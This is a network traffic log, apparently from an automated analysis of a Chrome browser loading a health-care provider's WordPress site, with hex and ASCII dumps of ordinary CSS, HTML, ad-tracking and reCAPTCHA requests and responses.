2024-04-24 12:44:50 UTC	16384	IN	Data Raw: 39 20 37 2e 37 30 38 37 43 39 2e 38 33 31 31 33 20 37 2e 38 30 37 38 33 20 39 2e 37 37 36 35 36 20 37 2e 39 33 36 34 34 20 39 2e 37 37 36 35 36 20 38 2e 30 37 37 34 43 39 2e 37 37 36 35 36 20 38 2e 32 31 38 32 20 39 2e 38 33 31 31 33 20 38 2e 33 34 38 36 38 20 39 2e 39 33 30 31 39 20 38 2e 34 34 37 37 34 4c 31 30 2e 32 34 35 35 20 38 2e 37 36 32 31 43 31 30 2e 33 34 34 36 20 38 2e 38 36 31 32 33 20 31 30 2e 34 37 36 37 20 38 2e 39 31 35 32 35 20 31 30 2e 36 31 37 37 20 38 2e 39 31 35 32 35 43 31 30 2e 37 35 38 36 20 38 2e 39 31 35 32 35 20 31 30 2e 38 39 30 37 20 38 2e 38 36 30 35 33 20 31 30 2e 39 38 39 38 20 38 2e 37 36 31 33 39 4c 31 34 2e 34 36 32 36 20 35 2e 32 38 38 36 34 43 31 34 2e 35 36 32 20 35 2e 31 38 39 32 20 31 34 2e 36 31 36 36 20 35 2e 30 Data Ascii: 9 7.7087C9.83113 7.80783 9.77656 7.93644 9.77656 8.0774C9.77656 8.2182 9.83113 8.34868 9.93019 8.44774L10.2455 8.7621C10.3446 8.86123 10.4767 8.91525 10.6177 8.91525C10.7586 8.91525 10.8907 8.86053 10.9898 8.76139L14.4626 5.28864C14.562 5.1892 14.6166 5.0
2024-04-24 12:44:50 UTC	16384	IN	Data Raw: 38 36 34 43 31 34 2e 35 36 32 20 35 2e 31 38 39 32 20 31 34 2e 36 31 36 36 20 35 2e 30 35 36 34 35 20 31 34 2e 36 31 36 32 20 34 2e 39 31 35 33 33 43 31 34 2e 36 31 36 35 20 34 2e 37 37 33 37 35 20 31 34 2e 35 36 32 20 34 2e 36 34 30 39 32 20 31 34 2e 34 36 32 35 20 34 2e 35 34 31 36 33 5a 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 76 67 3e 0a 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 64 61 72 6b 2d 67 72 61 79 20 66 6f 6e 74 2d 73 69 7a 65 2d 31 34 20 63 2d 6d 74 2d 35 20 63 2d 6d 74 2d 6d 64 2d 33 20 64 2d 62 6c 6f 63 6b 22 3e 50 72 6f 76 69 64 69 6e 67 20 63 61 72 65 20 69 6e 20 53 6f 75 74 68 20 54 65 72 72 65 20 48 61 Data Ascii: 864C14.562 5.1892 14.6166 5.05645 14.6162 4.91533C14.6165 4.77375 14.562 4.64092 14.4625 4.54163Z" /> </svg> </a> <span class="text-dark-gray font-size-14 c-mt-5 c-mt-md-3 d-block">Providing care in South Terre Ha
2024-04-24 12:44:50 UTC	16384	IN	Data Raw: 5f 5f 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 77 69 74 74 65 72 2e 63 6f 6d 2f 56 61 6c 6c 65 79 50 72 6f 48 65 61 6c 74 68 22 20 63 6c 61 73 73 3d 22 73 6f 63 69 61 6c 2d 6c 69 6e 6b 20 64 2d 66 6c 65 78 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 2d 63 69 72 63 6c 65 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 63 6c 61 73 73 3d 22 73 6f 63 69 61 6c 2d 6c 69 6e 6b 5f 5f 69 63 6f 6e 20 73 6f 63 69 61 6c 2d 6c 69 6e 6b 5f 5f 69 63 6f 6e 2d 2d 74 77 69 74 74 65 72 22 20 76 69 65 77 42 6f Data Ascii: __item"> <a href="https://twitter.com/ValleyProHealth" class="social-link d-flex align-items-center justify-content-center rounded-circle" target="_blank" rel="nofollow"> <svg class="social-link__icon social-link__icon--twitter" viewBo
2024-04-24 12:44:50 UTC	367	IN	Data Raw: 5f 63 74 63 74 5f 6d 20 3d 20 22 31 31 38 61 61 64 65 34 65 39 31 66 31 39 33 39 33 39 62 34 35 65 64 30 64 33 32 38 30 33 36 30 22 3b 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 73 69 67 6e 75 70 53 63 72 69 70 74 22 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 63 74 63 74 63 64 6e 2e 63 6f 6d 2f 6a 73 2f 73 69 67 6e 75 70 2d 66 6f 72 6d 2d 77 69 64 67 65 74 2f 63 75 72 72 65 6e 74 2f 73 69 67 6e 75 70 2d 66 6f 72 6d 2d 77 69 64 67 65 74 2e 6d 69 6e 2e 6a 73 22 20 61 73 79 6e 63 20 64 65 66 65 72 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 45 6e 64 20 43 6f 6e 73 74 61 6e 74 20 43 6f 6e 74 61 63 74 20 41 63 74 69 76 65 20 46 6f 72 6d 73 20 2d 2d 3e 0a 20 09 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a 3c 21 2d 2d 20 54 Data Ascii: _ctct_m = "118aade4e91f193939b45ed0d3280360"; </script><script id="signupScript" src="//static.ctctcdn.com/js/signup-form-widget/current/signup-form-widget.min.js" async defer></script>... End Constant Contact Active Forms --> </body></html>... T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49934	3.33.220.150	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:49 UTC	1035	OUT	GET /track/cmf/generic?ttd_pid=bidswitch HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFIAEoAzILCNKuldvhmfI8EAVCDyINCAESCQoFdGllcjIQAVoHM2w2ZDc1OGAB
2024-04-24 12:44:50 UTC	652	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:49 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:44:49 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFIAIoAzILCNKuldvhmfI8EAVCDyINCAESCQoFdGllcjIQAVoHM2w2ZDc1OGAB; expires=Thu, 24 Apr 2025 12:44:49 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:44:50 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49932	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:50 UTC	726	OUT	GET /wp-content/themes/vpchc/style.css HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:50 UTC	414	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:50 GMT Content-Type: text/css Content-Length: 1250 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:33 GMT Vary: Accept-Encoding ETag: "64f5a125-4e2" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:50 UTC	1250	IN	Data Raw: 2f 2a 0a 20 20 20 20 54 68 65 6d 65 20 4e 61 6d 65 3a 20 20 20 20 20 20 20 20 20 56 50 43 48 43 0a 20 20 20 20 41 75 74 68 6f 72 3a 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 73 69 67 6e 20 4f 6e 20 54 61 70 0a 20 20 20 20 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 20 20 20 20 20 20 20 41 20 57 6f 72 64 50 72 65 73 73 20 73 74 61 72 74 65 72 20 74 68 65 6d 65 20 62 61 73 65 64 20 6f 6e 20 42 6f 6f 74 73 74 72 61 70 20 34 0a 20 20 20 20 56 65 72 73 69 6f 6e 3a 20 20 20 20 20 20 20 20 20 20 20 20 35 2e 31 2e 30 0a 20 20 20 20 4c 69 63 65 6e 73 65 3a 20 20 20 20 20 20 20 20 20 20 20 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 20 20 20 4c 69 63 65 6e 73 65 20 55 52 49 3a 20 20 20 20 20 20 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f Data Ascii: /* Theme Name: VPCHC Author: Design On Tap Description: A WordPress starter theme based on Bootstrap 4 Version: 5.1.0 License: MIT License License URI: http://www.opensource.o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49936	142.250.141.103	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:50 UTC	610	OUT	GET /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
2024-04-24 12:44:50 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Wed, 24 Apr 2024 12:44:50 GMT Expires: Wed, 24 Apr 2024 12:44:50 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:44:50 UTC	244	IN	Data Raw: 65 65 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 21 2d 2d 20 47 53 45 20 44 65 66 61 75 6c 74 20 45 72 72 6f 72 20 2d 2d 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: ee<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">... GSE Default Error --><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-04-24 12:44:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49940	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:50 UTC	741	OUT	GET /wp-includes/css/dist/block-library/style.min.css HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:51 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:51 GMT Content-Type: text/css Content-Length: 110147 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Wed, 24 Jan 2024 19:02:28 GMT Vary: Accept-Encoding ETag: "65b15ec4-1ae43" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:51 UTC	15966	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 20 69 6d 67 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 Data Ascii: @charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-a
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 29 3a 62 65 66 6f 72 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e Data Ascii: ackground-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 65 64 2d 69 6d 61 67 65 73 29 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 74 65 6d 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6c 65 78 2d 67 72 6f 77 3a 31 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 3a 30 20 31 65 6d 20 31 65 6d 20 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 25 20 2d 20 31 65 6d 29 7d 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 6d 61 67 65 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 32 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c Data Ascii: ed-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 1em 1em 0;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gal
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 2f 32 30 30 30 2f 73 76 67 22 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 22 20 63 79 3d 22 35 30 22 20 72 3d 22 35 30 22 2f 3e 3c 2f 73 76 67 3e 27 29 3b 6d 61 73 6b 2d 6d 6f 64 65 3a 61 6c 70 68 61 3b 2d 77 65 62 6b 69 74 2d 6d 61 73 6b 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 3b 6d 61 73 6b 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6d 61 73 6b 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 73 6b 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 6d 61 73 6b 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 6d 61 73 6b 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 3a 77 68 65 72 65 28 2e 68 61 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 Data Ascii: /2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}.wp-block-image :where(.has-border-color
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 73 75 62 6d 65 6e 75 2d 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 2e 36 65 6d 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 77 70 2d 62 6c 6f 63 6b 2d 70 61 67 65 2d 6c 69 73 74 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 63 6f 6e 74 61 69 6e 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6c 6f 73 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 Data Ascii: navigation__submenu-icon{margin-left:-.6em;pointer-events:none}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-cont
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 6c 69 67 6e 6c 65 66 74 2c 2e 61 6c 69 67 6e 72 69 67 68 74 29 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 69 6e 6b 20 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 69 6e 6b 5f 5f 61 72 72 6f 77 2d 70 72 65 76 69 6f 75 73 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 63 68 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 69 6e 6b 20 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 69 6e 6b 5f 5f 61 72 72 6f 77 2d 70 72 65 76 69 6f 75 73 3a 6e 6f 74 28 2e 69 73 2d 61 72 72 6f 77 2d 63 68 65 76 72 6f 6e 29 7b 74 72 61 6e 73 Data Ascii: lignleft,.alignright){width:100%}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){trans
2024-04-24 12:44:51 UTC	12261	IN	Data Raw: 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 62 65 68 61 6e 63 65 7b 63 6f 6c 6f 72 3a 23 30 37 35 37 66 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2e 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 2e 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 63 6f 64 65 70 65 6e 7b 63 6f 6c 6f 72 3a 23 31 65 31 66 32 36 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2e 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 2e 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 64 65 76 69 61 6e 74 61 72 74 7b 63 6f 6c 6f 72 3a 23 30 32 65 34 39 62 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2e 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 2e 77 70 2d 73 6f 63 69 61 6c Data Ascii: wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49938	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:50 UTC	763	OUT	GET /wp-content/plugins/wp-bootstrap-blocks/build/style-index.css?ver=5.2.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:51 UTC	342	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:51 GMT Content-Type: text/css Content-Length: 69 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 17:04:37 GMT ETag: "65ef39a5-45" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:51 UTC	69	IN	Data Raw: 2e 77 70 2d 62 6f 6f 74 73 74 72 61 70 2d 62 6c 6f 63 6b 73 2d 72 6f 77 2e 72 6f 77 2e 61 6c 69 67 6e 66 75 6c 6c 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 0a Data Ascii: .wp-bootstrap-blocks-row.row.alignfull{margin-left:0;margin-right:0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49937	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
